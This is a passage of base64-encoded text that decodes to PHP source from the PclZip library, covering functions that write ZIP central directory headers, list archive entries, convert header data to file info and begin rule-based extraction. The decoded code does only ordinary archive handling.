3NlZF9zaXplJ10sCgkJCQkJCSAgJHBfaGVhZGVyWydzaXplJ10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgc3RybGVuKCRwX2hlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10pLAoJCQkJCQkgICRwX2hlYWRlclsnZXh0cmFfbGVuJ10pOwoKICAgIC8vIC0tLS0tIFdyaXRlIHRoZSBmaXJzdCAxNDggYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgYXJjaGl2ZQogICAgZnB1dHMoJHRoaXMtPnppcF9mZCwgJHZfYmluYXJ5X2RhdGEsIDMwKTsKCiAgICAvLyAtLS0tLSBXcml0ZSB0aGUgdmFyaWFibGUgZmllbGRzCiAgICBpZiAoc3RybGVuKCRwX2hlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10pICE9IDApCiAgICB7CiAgICAgIGZwdXRzKCR0aGlzLT56aXBfZmQsICRwX2hlYWRlclsnc3RvcmVkX2ZpbGVuYW1lJ10sIHN0cmxlbigkcF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddKSk7CiAgICB9CiAgICBpZiAoJHBfaGVhZGVyWydleHRyYV9sZW4nXSAhPSAwKQogICAgewogICAgICBmcHV0cygkdGhpcy0+emlwX2ZkLCAkcF9oZWFkZXJbJ2V4dHJhJ10sICRwX2hlYWRlclsnZXh0cmFfbGVuJ10pOwogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZXcml0ZUNlbnRyYWxGaWxlSGVhZGVyKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2V3JpdGVDZW50cmFsRmlsZUhlYWRlcigmJHBfaGVhZGVyKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIFRCQwogICAgLy9mb3IocmVzZXQoJHBfaGVhZGVyKTsgJGtleSA9IGtleSgkcF9oZWFkZXIpOyBuZXh0KCRwX2hlYWRlcikpIHsKICAgIC8vfQoKICAgIC8vIC0tLS0tIFRyYW5zZm9ybSBVTklYIG10aW1lIHRvIERPUyBmb3JtYXQgbWRhdGUvbXRpbWUKICAgICR2X2RhdGUgPSBnZXRkYXRlKCRwX2hlYWRlclsnbXRpbWUnXSk7CiAgICAkdl9tdGltZSA9ICgkdl9kYXRlWydob3VycyddPDwxMSkgKyAoJHZfZGF0ZVsnbWludXRlcyddPDw1KSArICR2X2RhdGVbJ3NlY29uZHMnXS8yOwogICAgJHZfbWRhdGUgPSAoKCR2X2RhdGVbJ3llYXInXS0xOTgwKTw8OSkgKyAoJHZfZGF0ZVsnbW9uJ108PDUpICsgJHZfZGF0ZVsnbWRheSddOwoKCiAgICAvLyAtLS0tLSBQYWNrZWQgZGF0YQogICAgJHZfYmluYXJ5X2RhdGEgPSBwYWNrKCJWdnZ2dnZ2VlZWdnZ2dnZWViIsIDB4MDIwMTRiNTAsCgkgICAgICAgICAgICAgICAgICAgICAgJHBfaGVhZGVyWyd2ZXJzaW9uJ10sICRwX2hlYWRlclsndmVyc2lvbl9leHRyYWN0ZWQnXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAkcF9oZWFkZXJbJ2ZsYWcnXSwgJHBfaGVhZGVyWydjb21wcmVzc2lvbiddLAoJCQkJCQkgICR2X210aW1lLCAkdl9tZGF0ZSwgJHBfaGVhZGVyWydjcmMnXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAkcF9oZWFkZXJbJ2NvbXByZXNzZWRfc2l6ZSddLCAkcF9oZWFkZXJbJ3NpemUnXSwKICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJsZW4oJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSksCgkJCQkJCSAgJHBfaGVhZGVyWydleHRyYV9sZW4nXSwgJHBfaGVhZGVyWydjb21tZW50X2xlbiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICRwX2hlYWRlclsnZGlzayddLCAkcF9oZWFkZXJbJ2ludGVybmFsJ10sCgkJCQkJCSAgJHBfaGVhZGVyWydleHRlcm5hbCddLCAkcF9oZWFkZXJbJ29mZnNldCddKTsKCiAgICAvLyAtLS0tLSBXcml0ZSB0aGUgNDIgYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgemlwIGZpbGUKICAgIGZwdXRzKCR0aGlzLT56aXBfZmQsICR2X2JpbmFyeV9kYXRhLCA0Nik7CgogICAgLy8gLS0tLS0gV3JpdGUgdGhlIHZhcmlhYmxlIGZpZWxkcwogICAgaWYgKHN0cmxlbigkcF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddKSAhPSAwKQogICAgewogICAgICBmcHV0cygkdGhpcy0+emlwX2ZkLCAkcF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddLCBzdHJsZW4oJHBfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSkpOwogICAgfQogICAgaWYgKCRwX2hlYWRlclsnZXh0cmFfbGVuJ10gIT0gMCkKICAgIHsKICAgICAgZnB1dHMoJHRoaXMtPnppcF9mZCwgJHBfaGVhZGVyWydleHRyYSddLCAkcF9oZWFkZXJbJ2V4dHJhX2xlbiddKTsKICAgIH0KICAgIGlmICgkcF9oZWFkZXJbJ2NvbW1lbnRfbGVuJ10gIT0gMCkKICAgIHsKICAgICAgZnB1dHMoJHRoaXMtPnppcF9mZCwgJHBfaGVhZGVyWydjb21tZW50J10sICRwX2hlYWRlclsnY29tbWVudF9sZW4nXSk7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdldyaXRlQ2VudHJhbEhlYWRlcigpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdldyaXRlQ2VudHJhbEhlYWRlcigkcF9uYl9lbnRyaWVzLCAkcF9zaXplLCAkcF9vZmZzZXQsICRwX2NvbW1lbnQpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gUGFja2VkIGRhdGEKICAgICR2X2JpbmFyeV9kYXRhID0gcGFjaygiVnZ2dnZWVnYiLCAweDA2MDU0YjUwLCAwLCAwLCAkcF9uYl9lbnRyaWVzLAoJICAgICAgICAgICAgICAgICAgICAgICRwX25iX2VudHJpZXMsICRwX3NpemUsCgkJCQkJCSAgJHBfb2Zmc2V0LCBzdHJsZW4oJHBfY29tbWVudCkpOwoKICAgIC8vIC0tLS0tIFdyaXRlIHRoZSAyMiBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSB6aXAgZmlsZQogICAgZnB1dHMoJHRoaXMtPnppcF9mZCwgJHZfYmluYXJ5X2RhdGEsIDIyKTsKCiAgICAvLyAtLS0tLSBXcml0ZSB0aGUgdmFyaWFibGUgZmllbGRzCiAgICBpZiAoc3RybGVuKCRwX2NvbW1lbnQpICE9IDApCiAgICB7CiAgICAgIGZwdXRzKCR0aGlzLT56aXBfZmQsICRwX2NvbW1lbnQsIHN0cmxlbigkcF9jb21tZW50KSk7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkxpc3QoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZMaXN0KCYkcF9saXN0KQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawogICAgJHRoaXMtPnByaXZEaXNhYmxlTWFnaWNRdW90ZXMoKTsKCiAgICAvLyAtLS0tLSBPcGVuIHRoZSB6aXAgZmlsZQogICAgaWYgKCgkdGhpcy0+emlwX2ZkID0gQGZvcGVuKCR0aGlzLT56aXBuYW1lLCAncmInKSkgPT0gMCkKICAgIHsKICAgICAgLy8gLS0tLS0gTWFnaWMgcXVvdGVzIHRyaWNrCiAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdVbmFibGUgdG8gb3BlbiBhcmNoaXZlIFwnJy4kdGhpcy0+emlwbmFtZS4nXCcgaW4gYmluYXJ5IHJlYWQgbW9kZScpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIGNlbnRyYWwgZGlyZWN0b3J5IGluZm9ybWF0aW9ucwogICAgJHZfY2VudHJhbF9kaXIgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyKSkgIT0gMSkKICAgIHsKICAgICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CiAgICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgICB9CgogICAgLy8gLS0tLS0gR28gdG8gYmVnaW5uaW5nIG9mIENlbnRyYWwgRGlyCiAgICBAcmV3aW5kKCR0aGlzLT56aXBfZmQpOwogICAgaWYgKEBmc2VlaygkdGhpcy0+emlwX2ZkLCAkdl9jZW50cmFsX2Rpclsnb2Zmc2V0J10pKQogICAgewogICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfQVJDSElWRV9aSVAsICdJbnZhbGlkIGFyY2hpdmUgc2l6ZScpOwoKICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgfQoKICAgIC8vIC0tLS0tIFJlYWQgZWFjaCBlbnRyeQogICAgZm9yICgkaT0wOyAkaTwkdl9jZW50cmFsX2RpclsnZW50cmllcyddOyAkaSsrKQogICAgewogICAgICAvLyAtLS0tLSBSZWFkIHRoZSBmaWxlIGhlYWRlcgogICAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2UmVhZENlbnRyYWxGaWxlSGVhZGVyKCR2X2hlYWRlcikpICE9IDEpCiAgICAgIHsKICAgICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICB9CiAgICAgICR2X2hlYWRlclsnaW5kZXgnXSA9ICRpOwoKICAgICAgLy8gLS0tLS0gR2V0IHRoZSBvbmx5IGludGVyZXN0aW5nIGF0dHJpYnV0ZXMKICAgICAgJHRoaXMtPnByaXZDb252ZXJ0SGVhZGVyMkZpbGVJbmZvKCR2X2hlYWRlciwgJHBfbGlzdFskaV0pOwogICAgICB1bnNldCgkdl9oZWFkZXIpOwogICAgfQoKICAgIC8vIC0tLS0tIENsb3NlIHRoZSB6aXAgZmlsZQogICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CgogICAgLy8gLS0tLS0gTWFnaWMgcXVvdGVzIHRyaWNrCiAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2Q29udmVydEhlYWRlcjJGaWxlSW5mbygpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vICAgVGhpcyBmdW5jdGlvbiB0YWtlcyB0aGUgZmlsZSBpbmZvcm1hdGlvbnMgZnJvbSB0aGUgY2VudHJhbCBkaXJlY3RvcnkKICAvLyAgIGVudHJpZXMgYW5kIGV4dHJhY3QgdGhlIGludGVyZXN0aW5nIHBhcmFtZXRlcnMgdGhhdCB3aWxsIGJlIGdpdmVuIGJhY2suCiAgLy8gICBUaGUgcmVzdWx0aW5nIGZpbGUgaW5mb3MgYXJlIHNldCBpbiB0aGUgYXJyYXkgJHBfaW5mbwogIC8vICAgICAkcF9pbmZvWydmaWxlbmFtZSddIDogRmlsZW5hbWUgd2l0aCBmdWxsIHBhdGguIEdpdmVuIGJ5IHVzZXIgKGFkZCksCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICBleHRyYWN0ZWQgaW4gdGhlIGZpbGVzeXN0ZW0gKGV4dHJhY3QpLgogIC8vICAgICAkcF9pbmZvWydzdG9yZWRfZmlsZW5hbWUnXSA6IFN0b3JlZCBmaWxlbmFtZSBpbiB0aGUgYXJjaGl2ZS4KICAvLyAgICAgJHBfaW5mb1snc2l6ZSddID0gU2l6ZSBvZiB0aGUgZmlsZS4KICAvLyAgICAgJHBfaW5mb1snY29tcHJlc3NlZF9zaXplJ10gPSBDb21wcmVzc2VkIHNpemUgb2YgdGhlIGZpbGUuCiAgLy8gICAgICRwX2luZm9bJ210aW1lJ10gPSBMYXN0IG1vZGlmaWNhdGlvbiBkYXRlIG9mIHRoZSBmaWxlLgogIC8vICAgICAkcF9pbmZvWydjb21tZW50J10gPSBDb21tZW50IGFzc29jaWF0ZWQgd2l0aCB0aGUgZmlsZS4KICAvLyAgICAgJHBfaW5mb1snZm9sZGVyJ10gPSB0cnVlL2ZhbHNlIDogaW5kaWNhdGVzIGlmIHRoZSBlbnRyeSBpcyBhIGZvbGRlciBvciBub3QuCiAgLy8gICAgICRwX2luZm9bJ3N0YXR1cyddID0gc3RhdHVzIG9mIHRoZSBhY3Rpb24gb24gdGhlIGZpbGUuCiAgLy8gICAgICRwX2luZm9bJ2NyYyddID0gQ1JDIG9mIHRoZSBmaWxlIGNvbnRlbnQuCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2Q29udmVydEhlYWRlcjJGaWxlSW5mbygkcF9oZWFkZXIsICYkcF9pbmZvKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIEdldCB0aGUgaW50ZXJlc3RpbmcgYXR0cmlidXRlcwogICAgJHZfdGVtcF9wYXRoID0gUGNsWmlwVXRpbFBhdGhSZWR1Y3Rpb24oJHBfaGVhZGVyWydmaWxlbmFtZSddKTsKICAgICRwX2luZm9bJ2ZpbGVuYW1lJ10gPSAkdl90ZW1wX3BhdGg7CiAgICAkdl90ZW1wX3BhdGggPSBQY2xaaXBVdGlsUGF0aFJlZHVjdGlvbigkcF9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddKTsKICAgICRwX2luZm9bJ3N0b3JlZF9maWxlbmFtZSddID0gJHZfdGVtcF9wYXRoOwogICAgJHBfaW5mb1snc2l6ZSddID0gJHBfaGVhZGVyWydzaXplJ107CiAgICAkcF9pbmZvWydjb21wcmVzc2VkX3NpemUnXSA9ICRwX2hlYWRlclsnY29tcHJlc3NlZF9zaXplJ107CiAgICAkcF9pbmZvWydtdGltZSddID0gJHBfaGVhZGVyWydtdGltZSddOwogICAgJHBfaW5mb1snY29tbWVudCddID0gJHBfaGVhZGVyWydjb21tZW50J107CiAgICAkcF9pbmZvWydmb2xkZXInXSA9ICgoJHBfaGVhZGVyWydleHRlcm5hbCddJjB4MDAwMDAwMTApPT0weDAwMDAwMDEwKTsKICAgICRwX2luZm9bJ2luZGV4J10gPSAkcF9oZWFkZXJbJ2luZGV4J107CiAgICAkcF9pbmZvWydzdGF0dXMnXSA9ICRwX2hlYWRlclsnc3RhdHVzJ107CiAgICAkcF9pbmZvWydjcmMnXSA9ICRwX2hlYWRlclsnY3JjJ107CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJpdkV4dHJhY3RCeVJ1bGUoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIEV4dHJhY3QgYSBmaWxlIG9yIGRpcmVjdG9yeSBkZXBlbmRpbmcgb2YgcnVsZXMgKGJ5IGluZGV4LCBieSBuYW1lLCAuLi4pCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gICAkcF9maWxlX2xpc3QgOiBBbiBhcnJheSB3aGVyZSB3aWxsIGJlIHBsYWNlZCB0aGUgcHJvcGVydGllcyBvZiBlYWNoCiAgLy8gICAgICAgICAgICAgICAgICBleHRyYWN0ZWQgZmlsZQogIC8vICAgJHBfcGF0aCA6IFBhdGggdG8gYWRkIHdoaWxlIHdyaXRpbmcgdGhlIGV4dHJhY3RlZCBmaWxlcwogIC8vICAgJHBfcmVtb3ZlX3BhdGggOiBQYXRoIHRvIHJlbW92ZSAoZnJvbSB0aGUgZmlsZSBtZW1vcml6ZWQgcGF0aCkgd2hpbGUgd3JpdGluZyB0aGUKICAvLyAgICAgICAgICAgICAgICAgICAgZXh0cmFjdGVkIGZpbGVzLiBJZiB0aGUgcGF0aCBkb2VzIG5vdCBtYXRjaCB0aGUgZmlsZSBwYXRoLAogIC8vICAgICAgICAgICAgICAgICAgICB0aGUgZmlsZSBpcyBleHRyYWN0ZWQgd2l0aCBpdHMgbWVtb3JpemVkIHBhdGguCiAgLy8gICAgICAgICAgICAgICAgICAgICRwX3JlbW92ZV9wYXRoIGRvZXMgbm90IGFwcGx5IHRvICdsaXN0JyBtb2RlLgogIC8vICAgICAgICAgICAgICAgICAgICAkcF9wYXRoIGFuZCAkcF9yZW1vdmVfcGF0aCBhcmUgY29tbXVsYXRpdmUuCiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gICAxIG9uIHN1Y2Nlc3MsMCBvciBsZXNzIG9uIGVycm9yIChzZWUgZXJyb3IgY29kZSBsaXN0KQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkV4dHJhY3RCeVJ1bGUoJiRwX2ZpbGVfbGlzdCwgJHBfcGF0aCwgJHBfcmVtb3ZlX3BhdGgsICRwX3JlbW92ZV9hbGxfcGF0aCwgJiRwX29wdGlvbnMpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gTWFnaWMgcXVvdGVzIHRyaWNrCiAgICAkdGhpcy0+cHJpdkRpc2FibGVNYWdpY1F1b3RlcygpOwoKICAgIC8vIC0tLS0tIENoZWNrIHRoZSBwYXRoCiAgICBpZiAoICAgKCRwX3BhdGggPT0gIiIpCgkgICAgfHwgKCAgIChzdWJzdHIoJHBfcGF0aCwgMCwgMSkgIT0gIi8iKQoJCSAgICAmJiAoc3Vic3RyKCRwX3BhdGgsIDAsIDMpICE9ICIuLi8iKQoJCQkmJiAoc3Vic3RyKCRwX3BhdGgsMSwyKSE9IjovIikpKQogICAgICAkcF9wYXRoID0gIi4vIi4kcF9wYXRoOwoKICAgIC8vIC0tLS0tIFJlZHVjZSB0aGUgcGF0aCBsYXN0IChhbmQgZHVwbGljYXRlZCkgJy8nCiAgICBpZiAoKCRwX3BhdGggIT0gIi4vIikgJiYgKCRwX3BhdGggIT0gIi8iKSkKICAgIHsKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgdGhlIHBhdGggZW5kICcvJwogICAgICB3aGlsZSAoc3Vic3RyKCRwX3BhdGgsIC0xKSA9PSAiLyIpCiAgICAgIHsKICAgICAgICAkcF9wYXRoID0gc3Vic3RyKCRwX3BhdGgsIDAsIHN0cmxlbigkcF9wYXRoKS0xKTsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHBhdGggdG8gcmVtb3ZlIGZvcm1hdCAoc2hvdWxkIGVuZCBieSAvKQogICAgaWYgKCgkcF9yZW1vdmVfcGF0aCAhPSAiIikgJiYgKHN1YnN0cigkcF9yZW1vdmVfcGF0aCwgLTEpICE9ICcvJykpCiAgICB7CiAgICAgICRwX3JlbW92ZV9wYXRoIC49ICcvJzsKICAgIH0KICAgICRwX3JlbW92ZV9wYXRoX3NpemUgPSBzdHJsZW4oJHBfcmVtb3ZlX3BhdGgpOwoKICAgIC8vIC0tLS0tIE9wZW4gdGhlIHppcCBmaWxlCiAgICBpZiAoKCR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2T3BlbkZkKCdyYicpKSAhPSAxKQogICAgewogICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKICAgIH0KCiAgICAvLyAtLS0tLSBSZWFkIHRoZSBjZW50cmFsIGRpcmVjdG9yeSBpbmZvcm1hdGlvbnMKICAgICR2X2NlbnRyYWxfZGlyID0gYXJyYXkoKTsKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZSZWFkRW5kQ2VudHJhbERpcigkdl9jZW50cmFsX2RpcikpICE9IDEpCiAgICB7CiAgICAgIC8vIC0tLS0tIENsb3NlIHRoZSB6aXAgZmlsZQogICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKICAgICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgogICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgfQoKICAgIC8vIC0tLS0tIFN0YXJ0IGF0IGJlZ2lubmluZyBvZiBDZW50cmFsIERpcgogICAgJHZfcG9zX2VudHJ5ID0gJHZfY2VudHJhbF9kaXJbJ29mZnNldCddOwoKICAgIC8vIC0tLS0tIFJlYWQgZWFjaCBlbnRyeQogICAgJGpfc3RhcnQgPSAwOwogICAgZm9yICgkaT0wLCAkdl9uYl9leHRyYWN0ZWQ9MDsgJGk8JHZfY2VudHJhbF9kaXJbJ2VudHJpZXMnXTsgJGkrKykKICAgIHsKCiAgICAgIC8vIC0tLS0tIFJlYWQgbmV4dCBDZW50cmFsIGRpciBlbnRyeQogICAgICBAcmV3aW5kKCR0aGlzLT56aXBfZmQpOwogICAgICBpZiAoQGZzZWVrKCR0aGlzLT56aXBfZmQsICR2X3Bvc19lbnRyeSkpCiAgICAgIHsKICAgICAgICAvLyAtLS0tLSBDbG9zZSB0aGUgemlwIGZpbGUKICAgICAgICAkdGhpcy0+cHJpdkNsb3NlRmQoKTsKICAgICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCiAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX0FSQ0hJVkVfWklQLCAnSW52YWxpZCBhcmNoaXZlIHNpemUnKTsKCiAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIFJlYWQgdGhlIGZpbGUgaGVhZGVyCiAgICAgICR2X2hlYWRlciA9IGFycmF5KCk7CiAgICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZSZWFkQ2VudHJhbEZpbGVIZWFkZXIoJHZfaGVhZGVyKSkgIT0gMSkKICAgICAgewogICAgICAgIC8vIC0tLS0tIENsb3NlIHRoZSB6aXAgZmlsZQogICAgICAgICR0aGlzLT5wcml2Q2xvc2VGZCgpOwogICAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKICAgICAgICByZXR1cm4gJHZfcmVzdWx0OwogICAgICB9CgogICAgICAvLyAtLS0tLSBTdG9yZSB0aGUgaW5kZXgKICAgICAgJHZfaGVhZGVyWydpbmRleCddID0gJGk7CgogICAgICAvLyAtLS0tLSBTdG9yZSB0aGUgZmlsZSBwb3NpdGlvbgogICAgICAkdl9wb3NfZW50cnkgPSBmdGVsbCgkdGhpcy0+emlwX2ZkKTsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIHRoZSBzcGVjaWZpYyBleHRyYWN0IHJ1bGVzCiAgICAgICR2X2V4dHJhY3QgPSBmYWxzZTsKCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIGV4dHJhY3QgYnkgbmFtZSBydWxlCiAgICAgIGlmICggICAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX05BTUVdKSkKICAgICAgICAgICYmICgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV0gIT0gMCkpIHsKCiAgICAgICAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSBmaWxlbmFtZSBpcyBpbiB0aGUgbGlzdAogICAgICAgICAgZm9yICgkaj0wOyAoJGo8c2l6ZW9mKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9OQU1FXSkpICYmICghJHZfZXh0cmFjdCk7ICRqKyspIHsKCiAgICAgICAgICAgICAgLy8gLS0tLS0gTG9vayBmb3IgYSBkaXJlY3RvcnkKICAgICAgICAgICAgICBpZiAoc3Vic3RyKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9OQU1FXVskal0sIC0xKSA9PSAiLyIpIHsKCiAgICAgICAgICAgICAgICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlIGRpcmVjdG9yeSBpcyBpbiB0aGUgZmlsZW5hbWUgcGF0aAogICAgICAgICAgICAgICAgICBpZiAoICAgKHN0cmxlbigkdl9oZWFkZXJbJ3N0b3JlZF9maWxlbmFtZSddKSA+IHN0cmxlbigkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV1bJGpdKSkKICAgICAgICAgICAgICAgICAgICAgICYmIChzdWJzdHIoJHZfaGVhZGVyWydzdG9yZWRfZmlsZW5hbWUnXSwgMCwgc3RybGVuKCRwX29wdGlvbnNbUENMWklQX09QVF9CWV9OQU1FXVskal0pKSA9PSAkcF9vcHRpb25zW1BDTFpJUF9PUFRfQllfTkFNRV1bJGpdKSk